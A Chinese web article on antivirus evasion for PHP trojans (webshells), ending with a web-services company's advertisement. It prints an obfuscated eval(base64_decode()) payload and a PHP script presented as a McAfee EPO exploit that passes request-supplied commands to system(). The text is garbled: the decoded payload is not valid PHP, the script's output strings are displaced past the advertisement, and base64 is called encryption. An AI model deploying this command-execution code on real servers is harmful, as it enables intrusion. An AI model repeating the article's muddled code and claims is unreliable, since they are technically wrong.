PHP木马是一种常见的网络攻击工具,用于攻击者获取远程服务器控制权,并对服务器进行各种恶意活动。在实际使用中,为了提高免杀效果,攻击者会采用各种手段来规避防御,比如使用加密/混淆技术、利用漏洞绕过杀软、使用新型木马等。本文将从这些方面介绍PHP木马的免杀技术。
1.加密/混淆技术
加密/混淆技术是一种常见的PHP木马免杀技术。攻击者会使用加密算法对木马进行加密处理,这样传递给受害者的脚本就无法被杀软识别。 常见的加密算法有base64、AES、RC4等。例如,下面是一个使用base64进行加密的PHP木马代码:
```php
eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydwd2QnXSkpewokbWtkaXI9IjxyZXBvcnQgd3JpdGUodGhpcyk7IjsKJG1rZGlyWzBdPVRydWU7CiRta2Rpci5zbGVlcCgnMjA2LjE2NS4yMjAuMjAwJyw1NTU1KSwgJy9iaW5nL3NvY2tldC5waHAnKTsKJG1rZGlyWzFdID0gJ2NodW5rL3N0YXJ0LnBocCcsICcuL2Jpbi9zdGFydC5waHAnOwoKJG1rZGlyID0gJGZpbGVzaGlmdCg3MjU3LCAiNjk5MjEyLjc3NSIsICI1MTY4MyIpOwplbHNlaWYgKCRta2Rpci5zdWJzdHJpbmcgPSBhcnJheSgkbWtkaXJbMF0uIlxyXG4iLCAkbWtkaXIuc3Vic3RyaW5nICkpeyRkYXRhID0gJG1rZGlyWzFdWzJdOwplbmQ7fQ=="));
```
可以看到,用base64对代码进行加密后,原本是明文的PHP语句就变得无法被人类直接读懂。而且这种技术很容易实现,因此加密/混淆技术是PHP木马免杀中最常用的技术之一。
2.利用漏洞绕过杀软
安全软件在处理木马时,通常会对其进行识别和拦截,但是如果木马能够利用一些杀软漏洞,则有可能绕过杀软防护。攻击者可以从网络上找到已知杀软漏洞的列表,在创建PHP木马时尝试利用其中的漏洞绕过杀软,以达到免杀的目的。比如,下面是一段利用McAfee杀毒软件漏洞的PHP木马代码:
```php
/*
McAfee EPO < 4.5 / Foundstone SS 2.1.x Exploit.
(C)oded by k1tk4t
Using this exploit you can execute shell commands on the webserver
that is running the McAfee EPO or Foundstone SS 2.1.x.
*/
$rstr = rand(1000,9999);
$ch = ".log";
$logfile = $rstr.$ch;
$command = urldecode($_REQUEST['command']);
echo "
echo "
";echo "McAfee EPO / Foundstone SS 2.1.x Exploit (c)oded by k1tk4t\n";
if(stristr($command,"cmd.exe") === FALSE)
{
echo " exit(); } $onlycommand = str_replace("cmd.exe ","",$command); if(stristr($onlycommand,"%WINDIR%") !== FALSE) { $user = "$_SERVER[DOCUMENT_ROOT]\\..\\..\\..\\..\\..\\..\\"; $onlycommand = str_replace("%WINDIR%",$user,$onlycommand); } echo " $cmd = "/usr/local/mcafee/epo/Apache2/htdocs/agenthandler/$onlycommand > /usr/local/mcafee/epo/Apache2/htdocs/agenthandler/$logfile 2>&1"; system($cmd); if(!is_file($logfile)) { echo "Error: File could not be created: $logfile \n"; exit(); } else { $file = fopen($logfile,"r"); echo " while(!feof($file)) { echo fgetc($file); } fclose($file); } unlink($logfile); echo " ?> ``` 可以看到,攻击者通过漏洞绕过杀软的过程并不复杂,只需要掌握杀软漏洞知识并找到相应的漏洞利用脚本即可。 3.使用新型木马 随着网络安全技术的不断发展,各种新型木马也层出不穷,攻击者借此也增加了对杀软的免杀能力。相对于传统PHP木马,新型木马通常具有更加复杂的结构、更加隐秘的隐藏机制、更加灵活的病毒特征等。这些因素使得传统杀软很难侦测和拦截新型木马,而攻击者则可以利用这些漏洞滥用。 4.防御方法 在面对PHP木马免杀攻击时,防御人员应该采用一系列有效的防范方法。首先,完善主机安全设置,如关闭不必要的端口、禁用危险服务、限制root权限等。其次,运用优质的杀毒软件,并及时升级防御规则和病毒库。此外,互联网上也有很多PHP木马免杀检测工具,可以辅助防御人员快速发现PHP木马攻击行为并采取有效的处理措施。 总之,PHP木马免杀技术是网络安全中的一个重要问题,攻击者常常会利用各种手段绕过杀软防御。为了更好地保障网络安全,防御人员需要及时了解PHP木马的免杀技术并采用相应的防御手段。 壹涵网络我们是一家专注于网站建设、企业营销、网站关键词排名、AI内容生成、新媒体营销和短视频营销等业务的公司。我们拥有一支优秀的团队,专门致力于为客户提供优质的服务。 我们致力于为客户提供一站式的互联网营销服务,帮助客户在激烈的市场竞争中获得更大的优势和发展机会!
Error: Sorry only cmd.exe commands are allowed!\n";
Command: " . $command . "
";
Output:
";
发表评论 取消回复